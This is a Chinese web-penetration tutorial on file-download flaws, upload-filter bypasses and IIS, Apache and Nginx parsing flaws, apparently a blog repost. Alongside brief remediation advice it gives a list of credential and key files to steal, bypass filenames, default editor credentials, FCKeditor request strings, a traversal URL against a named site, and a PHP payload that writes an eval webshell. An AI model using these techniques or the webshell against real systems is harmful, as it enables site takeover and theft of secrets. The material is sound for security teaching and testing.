渗透之路 WEB漏洞【第五篇】文件下载与上传

 

一、文件下载漏洞

1 漏洞介绍

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

2 利用方式

一般链接形式:
download.php?path=
down.php?file=
data.php?file=

或者包含参数:
&Src=
&Inputfile=
&Filepath=
&Path=
&Data=

当遇到一个任意文件下载时,我们的一般利用思路:

(1)下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置

(2)下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。

(3)下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
尝试读取/root/.bash_history看自己是否具有root权限。如果没有的话。我们只能按部就班的利用../来回跳转读取一些.ssh下的配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。

如果我们遇到的是java+oracle环境

可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器

如果具有root权限

在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。

locate 读取方法: locate mlocate.db admin //可以将mlocate.db中包含admin文件名的内容全部输出来

(4)常见利用文件
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数


3 漏洞修复

(1)过滤".",使用户在url中不能回溯上级目录

(2)正则严格判断用户输入参数的格式

(3)php.ini配置open_basedir限定文件访问范围

4 实战

 

二、文件上传漏洞

原理

1.限制:由于安全问题,一般web程序不支持直接上传脚本文件(如xxx.php)

2.突破:解析漏洞的情况下,代码文件的格式(后缀)可以不规范(如apache可将xxx.php.jpg解析成xxx.php,此时jpg文件含有php代码即相当上传了webshell)

意义

直接上传后门,控制网站,得到web(网站,服务器)权限

思路

凡是有上传的地方均可进行安全测试(如个人中心头像、文章发表、后台上传地址)

测试流程

JS本地验证

php文件上传不成功

原因:JS验证文件格式

 F12打开浏览器调试模式,删除JS验证代码

MIME验证

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。

 

php中 $_FILES() 这个全局的方法是通过浏览器http头去获取的content-type,content-type是前端用户可以控制的

 

 

文件内容验证

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息,如果用这个涵数来获取类型,从而判断是否是图片的话,会存在问题。

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

由于上传的是图片后缀文件不能直接执行,因此要和文件包含或者解析漏洞一起使用

文件后缀验证

1、白名单
0x00截断或test.asp%00.jpg(0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上)

MIME绕过

2、黑名单
(1)文件名大小写绕过
(2)名单绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件之类
(3)特殊文件名或文件夹绕过(windows)
还有比如发送的http 包里把文件名改成test.asp. 或test.asp_(下划线为空格),这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
(4)0x00截断
name = getname(http request) //假如这时候获取到的文件名是test.asp .jpg(asp 后面为0x00)
type = gettype(name) //而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
if (type == jpg)
SaveFileToPath(UploadPath.name, name) //但在这里却是以0x00 作为文件名截断
//最后以test.asp 存入路径里

(5)把文件名改成test.asp. 或test.asp_(下划线为空格),这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
(6)双后缀名绕过
(7)::$DATA绕过
是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::$DATA,则是请求a.asp中的流数据lake2.asp的流数据内容。

 

%00截断上传

原理:上传正常图片文件【xxx.jpg】,通过burpsuite将文件名修改为【xxx.php%00.jpg】,在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【xxx.php.jpg】的内容写入到【xxx.php】中,从而达到攻击的目的。

 

编辑器上传漏洞

漏洞利用

1.获取编辑器的名称及版本信息

2.获取编辑器相关的漏洞

3.利用编辑器漏洞进行测试

网站采用编辑器

Ewebeditor(asp网站居多)看目录,fckeditor(asp aspx网站居多)创建目录,kindeditor,southidceditor,cfeditor等

测试

ewebeditor:找后台地址,尝试默认帐号密码登录,添加上传类型,上传脚本文件获得网站权限(地址找不到,默认帐号密码被修改,无法添加上传类型)

默认后台地址:ewebeditor/admin_login.asp

默认帐号密码:admin/admin

默认数据库地址:ewebeditor/db/ewebeditor.mdb

 

出现浏览器上传图片按钮失效,可采用ietest软件模拟ie6.0访问上传

 

ewebeditor目录遍历漏洞  //有些版本有,有些没有

http://www.kirinmach.com/ewebeditor/admin_uploadfile.asp?id=14&dir=../..

 

Fck高版本过滤“.” (“.”变”_”)

基于解析漏洞利用获取网站权限

解析漏洞:

文件 xx.asp;.jpg

文件夹 xx.asp/xx.jpg

二次上传突破(windows同目录不可能存在两个同名的文件)

第一次上传:qq.asp;.jpg ==> qq_asp;.jpg

第二次上传:qq.asp;.jpg =/=> qq_asp;.jpg(qq.asp;(1).jpg)

新建上传突破

成功新建文件夹数据包:L

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

失败手工创建文件夹数据包:

FCKeditor_2.5//editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/&NewFolderName=qq.asp

 

CurrentFolder=/qing.asp&NewFolderName=x.asp

CurrentFolder=/&NewFolderName=qq.asp

 

过滤的是参数NewFolderName,而没有过滤参数CurrentFolder,CurrentFolder参数能操作文件夹

 

三、web服务器解析漏洞

搭建平台,命名规则

IIS解析漏洞

IIS5.x-6.x搭建平台(和win2003搭配,微软官方没有出补丁)

1.文件命名

正常命名文件 logo.jpg

触发解析漏洞命名 logo.asp;.xx.jpg(xx可有可无,任意字符)

原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

 

2.文件夹命名

正常文件夹路径 ../image/qq.jpg

触发解析漏洞文件路径 ../image.asp/qq.jpg

注意:以上asp可修改其他脚本格式,解析均以修改的格式为准。

原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

 

3.解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

 

IIS7.x 8.0

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

 

Apache解析漏洞

1.漏洞原理

  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar ".owf"和".rar" 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。

 

2.其余配置问题导致漏洞
  (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
  (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

 

Nginx解析漏洞

1.漏洞原理
  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

 

2.正常文件地址:www.xxxx.com/UploadFiles/image/1.jpg

存在解析漏洞可导致此文件解析成php格式:

  www.xxxx.com/UploadFiles/image/1.jpg/1.php
  www.xxxx.com/UploadFiles/image/1.jpg%00.php
  www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

 

另外一种手法:

上传一个名字为test.jpg,以下内容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

 

四、上传文件后的命名

1.以上传的文件命名再命名;

2.以当前上传时间等命名;

3.其他组合命名

 

 

转载于:https://www.cnblogs.com/hyit/articles/5359280.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值